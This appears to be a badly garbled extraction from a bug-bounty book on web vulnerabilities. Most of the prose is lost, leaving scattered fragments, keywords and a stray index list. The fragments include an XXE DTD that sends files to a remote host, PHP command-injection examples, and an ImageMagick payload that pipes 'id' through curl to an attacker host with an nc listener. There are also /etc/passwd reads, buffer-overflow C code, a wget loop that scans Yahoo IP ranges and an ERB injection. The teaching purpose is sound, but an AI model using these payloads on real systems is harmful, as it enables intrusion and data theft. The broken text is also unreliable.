➋ <!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">

➌ %dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1

http://www.topografix
.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000"

maxlat="40.881475000"
maxlon="-8.037170000"/>
<trk>

➍ <name>&send;</name>
--snip--

➊
➋ %

➌ &send; ➍

➋

<?xml version="1.0" encoding="UTF-8"?>

➎ <!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?
%file;'>">

➏ %all;

% all ➎ send ➍

%dtd; ➌
%all; ➏

%dtd;



%all

%all &send;

%file

%file;

&send;

GET

GET



domain www.example.com?domain=

➊ $domain = $_GET[domain];

echo shell_exec(➋"ping -c 1 $domain");

google.com $domain ➊
shell_exec ping



➋ shell_exec

PING google.com (216.58.195.238) 56(84) bytes of data.
64 bytes from sfo03s06-in-f14.1e100.net (216.58.195.238): icmp_seq=1 ttl=56
time=1.51 ms
--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.519/1.519/1.519/0.000 ms

$domain shell_exec

shell_exec

ping id id

➊ PING google.com (172.217.5.110) 56(84) bytes of data.
64 bytes from sfo03s07-in-f14.1e100.net (172.217.5.110):
icmp_seq=1 ttl=56 time=1.94 ms
--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.940/1.940/1.940/0.000 ms

➋ uid=1000(yaworsk) gid=1000(yaworsk) groups=1000(yaworsk)

ping

➊ id

id ➋
yaworsk uid 1000

gid 1000 yaworsk

yaworsk

;cat FILENAME FILENAME



escapeshellcmd

google.com\;id ping

ping: google.com;id: Name or service not known

escapeshellcmd

-0

➊ $action = $_GET['action'];
$id = $_GET['id'];

➋ call_user_func($action, $id);

call_user_func ➋

view action ➊
1



$action = $_GET['action']; //file_get_contents
$id = $_GET['id']; ///etc/passwd
call_user_func($action, $id); //file_get_contents(/etc/passwd);

file_get_contents

id

file_get_contents

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

action

shell_exec exec system



ping

action



super_secret_web_param

$cmd = $_GET['super_secret_web_param'];
system($cmd);

?

super_secret_web_param='ls'

file_get_contents



delegate

system() %M

"wget" -q -O "%o" "https:%M"

https://example.com";|ls "-la

wget -q -O "%o" "https://example.com";|ls "-la"

ping

delegate



delegate

push graphic-context
viewbox 0 0 640 480

➊ image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl\
http://SOMEIPADDRESS:8080/ -d @- > /dev/null`'

pop graphic-context

➊

`id `

|

id curl http://SOMEIPADDRESS:8080/ -d @-

-d POST @

–

|

id POST

> /dev/null

nc -l -n -vv -p 8080

POST -l



-n -vv

-p 8080

POST id

Connect to [REDACTED] from (UNKNOWN) [REDACTED] 53406
POST / HTTP/1.1
User-Agent: [REDACTED]
Host: [REDACTED]
Accept: /
Content-Length: [REDACTED]
Content-Type: application/x-www-form-urlencoded
uid=[REDACTED] gid=[REDACTED] groups=[REDACTED]

id



secret_key_base

secret_key_base

ENV['SECRET_KEY_BASE']

secret_key_base

secret_key_base

BAh7B0kiD3Nlc3Npb25faWQGOdxM3M9BjsARg%3D%3D--

dc40a55cd52fe32bb3b8



id uid=1000(prod) gid=1000(prod)

groups=1000(prod)



admin:admin



POST

id

uid=0(root) gid=0(root) groups=0(root)







strcpy() memcpy()

malloc()

calloc() strcpy() memcpy()

#include <string.h>
int main()
{

➊ char src[16]="hello world";

➋ char dest[16];

➌ strcpy(dest, src);

➍ printf("src is %s\n", src);
printf("dest is %s\n", dest);



return 0;
}

src ➊ "hello world"

src dest ➋
\0

"hello world"

strcpy() src

dest ➌ printf ➍

src is hello world
dest is hello world

#include <string.h>
#include <stdio.h>
int main()
{

➊ char src[17]="hello world!!!!!";

➋ char dest[16];

➌ strcpy(dest, src);
printf("src is %s\n", src);
printf("dest is %s\n", dest);
return 0;

}

\0 src ➊
dest ➋

src is
dest is hello world!!!!!

src 'hello world!!!!!'



src dest

'hello world!!!!!!'

dest \0

src

src

➊ ➌

dest src

src

➊
dest ➋ src

dest dest



src ➌
src

src

src is !
dest is hello world!!!!!

dest 'hello world!!!!!'

src

src '!'

➌

dest src

#include <string.h>
#include <stdio.h>
int main ()
{

char ➊src [12]="hello world!";

char ➋dest[12];
strcpy(dest, src);
printf("src is %s\n", src);
printf("dest is %s\n", dest);
return 0;

}

src dest ➊
➋ src dest



dest

src

src is hello world!
dest is hello world!

hello world!

dest



ftp_genlist()





memcpy()

memcpy(self->buffer + self->index, s, len);

memcpy()

self->buffer + self->index

s len

self->buffer

s

memcpy()

strcpy() memcpy()



curl_easy_duphandle

POST CURLOPT_POSTFIELDS

POST

CURLOPT_COPYPOSTFIELDS

POST

CURLOPT_POSTFIELDSIZE

POST POST

POST

POST





































ć

ć

ć

ć

ć













id

id

id



id

id POST

ref user column



src



pin password secret

pin

pin

GET



POST

POST /user/applications HTTP/1.1
Host: moneybird.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Referer: https://moneybird.com/user/applications/new
Cookie: _moneybird_session=REDACTED; trusted_computer=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 397
utf8=%E2%9C%93&authenticity_token=REDACTED&doorkeeper_application%5Bname%5D
=TW

DApp&token_type=access_token&➊administration_id=ABCDEFGHIJKLMNOP&scopes%5B%
5D
=sales_invoices&scopes%5B%5D=documents&scopes%5B%5D=estimates&scopes%5B%5D=
ban
k&scopes%5B%5D=settings&doorkeeper_application%5Bredirect_uri%5D=&commit=Sa
ve

POST administration_id ➊



ABCDEFGHIJKLMNOP

administration_id

POST administration_id

id

administrator_id



build_secret POST POST

POST /api/v3/organizations/5460d2394b793294df01104a/mopub/activate HTTP/1.1
Host: fabric.io
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-Token: 0jGxOZOgvkmucYubALnlQyoIlsSUBJ1VQxjw0qjp73A=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CRASHLYTICS-DEVELOPER-TOKEN: 0bb5ea45eb53fa71fa5758290be5a7d5bb867e77
X-Requested-With: XMLHttpRequest
Referer: https://fabric.io/img-srcx-onerrorprompt15/android/apps/app
.myapplication/mopub
Content-Length: 235
Cookie: <redacted>
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
company_name=dragoncompany&address1=123 street&address2=123&city=hollywood&
state=california&zip_code=90210&country_code=US&link=false

{"mopub_identity":
{"id":"5496c76e8b15dabe9c0006d7","confirmed":true,"primary":

false,"service":"mopub","token":"35592"},➊"organization":
{"id":"5460d2394b793

294df01104a","name":"test","alias":"test2",➋"api_key":"8590313c7382375063c2
fe
279a4487a98387767a","enrollments":{"beta_distribution":"true"},"accounts



_count":3,"apps_counts":{"android":2},"sdk_organization":true,➌"build
_secret":"5ef0323f62d71c475611a635ea09a3132f037557d801503573b643ef8ad82054"
,
"mopub_id":"33525"}}

POST api_key ➋ build_secret ➌

organization_id ➊

organization_id

organization_id

api_key build_secret

organization_id

build_secret

POST



customer_id

customer_id

customer_id

customer_id



customer_id

{
"select": "(*,hits.(data.(order_no, customer_info, product_items.

(product_
id,item_text), status, creation_date, order_total, currency)))",

"_type": "order_search_result",
"count": 1,
"start": 0,
"hits": [{

"data": {
"order_no": "00000001",
"product_items": [{

"_type": "product_item",
"product_id": "test1231234",
"item_text": "test"

}],
"_type": "order",
"creation_date": "2017-02-25T02:31Z",
"customer_info": {

"customer_no": "00006001",
"_type": "customer_info",
"customer_name": "pete test",
"customer_id": "abeZMloJyUovapiXqHyi0DshH",
"email": "test@gmail.com"

}
}

}]
}--snip--

customer_id ➊



customer_id





email public_profile user_friends

email

GET





GET







<img>

<img src=https://slack.com/oauth/authorize?

response_type=token&client_id=APP_ID&redirect_uri=https://www.example.com.at

tacker.com> <img> GET



POST

POST /auth/v1/account HTTP/1.1
Host: auth.flurry.com
Connection: close
Content-Length: 205
Content-Type: application/vnd.api+json
DNT: 1
Referer: https://login.flurry.com/signup
Accept-Language: en-US,en;q=0.8,la;q=0.6
{"data":{"type":"account","id":"...","attributes":{"email":...@yahoo.com,

"companyName":"1234","firstname":"jack","lastname":"cable",➊"password":
"not-provided"}}}

"password":"not-provided" ➊

not-provided

not-provided



POST

POST



POST wreply

t

wreply

wreply

username

password



wreply





















hackerone-

profile-photos

backup images files media



hackerone hackerone.marketing hackerone.attachments hackerone.users

hackerone.files

aws s3 mv test.txt s3://hackerone.marketing

move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error
(AccessDenied) occurred when calling the PutObject operation: Access Denied

aws s3 mv test.txt s3://hackerone.files

move: ./test.txt to s3://hackerone.files/test.txt

aws s3 rm

s3://hackerone.files/test.txt



POST



POST /users/sign_in HTTP/1.1
Host: 159.xxx.xxx.xxx
--snip--
----------1881604860
Content-Disposition: form-data; name="user[otp_attempt]"

➊ 212421
----------1881604860--

POST ➊

john

POST /users/sign_in HTTP/1.1
Host: 159.xxx.xxx.xxx
--snip--
----------1881604860
Content-Disposition: form-data; name="user[otp_attempt]"
212421
----------1881604860

➊ Content-Disposition: form-data; name="user[login]"
john
----------1881604860--

user[login]

john

user[login]



phpinfo phpinfo

phpinfo



phpinfo httponly

phpinfo

phpinfo

httponly

whois

NetRange: 98.136.0.0 - 98.139.255.255
CIDR: 98.136.0.0/14
OriginAS:
NetName: A-YAHOO-US9
NetHandle: NET-98-136-0-0-1
Parent: NET-98-0-0-0-0
NetType: Direct Allocation
RegDate: 2007-12-07
Updated: 2012-03-02
Ref: http://whois.arin.net/rest/net/NET-98-136-0-0-1

phpinfo

#!/bin/bash

➊ for ipa in 98.13{6..9}.{0..255}.{0..255}; do

➋ wget -t 1 -T 5 http://${ipa}/phpinfo.php; done &

➊ for

ipa

➋ wget GET

${ipa}



for -t

GET

1 -T

phpinfo



POST

POST

vote: function() {
var e = this;
a.ajax({

➊ url: this.url() + "/votes",
method: "POST",
datatype: "json",
success: function(t) {

return e.set({
vote_id: t.vote_id,
vote_count: t.vote_count

})
}

})
},
unvote: function() {
var e = this;
a.ajax({

➋ url: this.url() + "/votes" + this.get("vote_id"),
method: "DELETE":,
datatype: "json",
success: function(t) {

return e.set({
vote_id: t.void 0,
vote_count: t.vote_count

})
}



})
}

➊ ➋
POST



nslookup

Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: stage.pornhub.com

➊ Address: 31.192.117.70

➊

nmap -sV -p- 31.192.117.70 -oA stage__ph -

T4

-sV

–p-

31.192.117.70 -oA

stage__ph

-T4

Starting Nmap 6.47 ( http://nmap.org ) at 2016-06-07 14:09 CEST
Nmap scan report for 31.192.117.70
Host is up (0.017s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx
443/tcp open http nginx



➊ 60893/tcp open memcache
Service detection performed. Please report any incorrect results at

http://
nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds

memcache ➊
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<%= `ls` %>
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!ELEMENT

!ENTITY

<img>

<s>



about:blank

Access-Control-Allow-Origin

access_denied

alert

&

<>

application/json



application/x-www-form-urlencoded

autofocus

`





call_user_func



CONNECT

content



dangerouslySetInnerHTML

db_query

DELETE



dig A

document

domain

domain_name

escapeshellcmd

expandArguments

expires





ć

ftp_genlist()

GET



#



HEAD

htmlspecialchars

httponly



id

<img>

IN

innerHTML



INSERT

javascript:alert(1)



Location

location



max-age

memcpy()

ftp_genlist()

<meta>



nc

nslookup

onerror

onfocus



OPTIONS

Origin

%



call_user_func

escapeshellcmd

ftp_genlist()

phpinfo

ping

POST

OPTIONS

prepareQuery



PUT

" '



redirect_to

Referer

render



samesite

secret_key_base

secure

;



shell_exec

sleep





text/plain

TRACE



name





whoami

window.location

window.onload


















